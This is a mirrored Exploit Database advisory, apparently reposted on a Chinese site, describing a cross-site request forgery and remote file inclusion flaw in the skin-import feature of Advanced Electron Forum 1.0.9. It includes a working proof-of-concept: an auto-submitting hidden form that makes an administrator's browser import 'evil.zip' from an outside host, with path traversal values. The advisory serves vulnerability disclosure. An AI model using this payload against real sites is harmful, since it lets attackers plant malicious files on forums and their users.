Advanced Electron Forum 1.0.9 – Remote File Inclusion / Cross-Site Request Forgery

• Exploit Database
• 39 阅读

• 作者： hyp3rlinx
  日期： 2016-01-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39263/

• [+] Credits: hyp3rlinx
  
  [+] Website: hyp3rlinx.altervista.org
  
  [+] Source:http://hyp3rlinx.altervista.org/advisories/AEF-RFI.txt
  
  
  
  Vendor:
  =============================
  www.anelectron.com/downloads/
  
  
  
  Product:
  ================================
  Advanced Electron Forum v1.0.9 (AEF)
  Exploit patched current version.
  
  
  Vulnerability Type:
  ============================
  Remote File Inclusion / CSRF
  
  
  
  CVE Reference:
  ==============
  N/A
  
  
  
  Vulnerability Details:
  =====================
  
  In Admin control panel there is option to Import Skins and one choice is
  using a web URL.
  
  From AEF:
  
  "Specify the URL of the theme on the net. The theme file must be a
  compressed archive (zip, tgz, tbz2, tar)."
  
  However there is no CSRF token or check made that this is a valid request
  made by the currently logged in user, resulting
  in arbitrary remote file imports from an attacker if the user visits or
  clicks an malicious link. Victims will then be left
  open to arbitrary malicious file downloads from anywhere on the net which
  may be used as a platform for further attacks...
  
  
  
  Exploit code(s):
  ===============
  
  <form id="EL-DOWNLOADO" action="
  http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=skin&seadact=import"
  method="post">
  <input type="hidden" name="folderpath" value="../" />
  <input type="hidden" name="importtype" value="2" />
  <input type="hidden" name="weburl" value="
  http://hyp3rlinx.altervista.org/evil.zip" />
  <input type="hidden" name="filepath" value="../" />
  <input type="hidden" name="uploadtheme" value="" />
  <input type="hidden" name="importskin" value="Import" />
  <script>document.getElementById('EL-DOWNLOADO').submit()</script>
  </form>
  
  
  
  Disclosure Timeline:
  ======================================
  Vendor Notification:NA
  January 17, 2016: Public Disclosure
  
  
  
  Exploitation Technique:
  =======================
  Remote
  
  
  
  Severity Level:
  ===============
  High
  
  
  
  Description:
  ==================================================================
  
  
  Request Method(s): [+] POST
  
  
  Vulnerable Product:[+] Advanced Electron Forum v1.0.9 (AEF)
  
  
  
  ==================================================================
  
  [+] Disclaimer
  Permission is hereby granted for the redistribution of this advisory,
  provided that it is not altered except by reformatting it, and that due
  credit is given. Permission is explicitly given for insertion in
  vulnerability databases and similar, provided that due credit is given to
  the author.
  The author is not responsible for any misuse of the information contained
  herein and prohibits any malicious use of all security related information
  or exploits by the author or elsewhere.
  
  by hyp3rlinx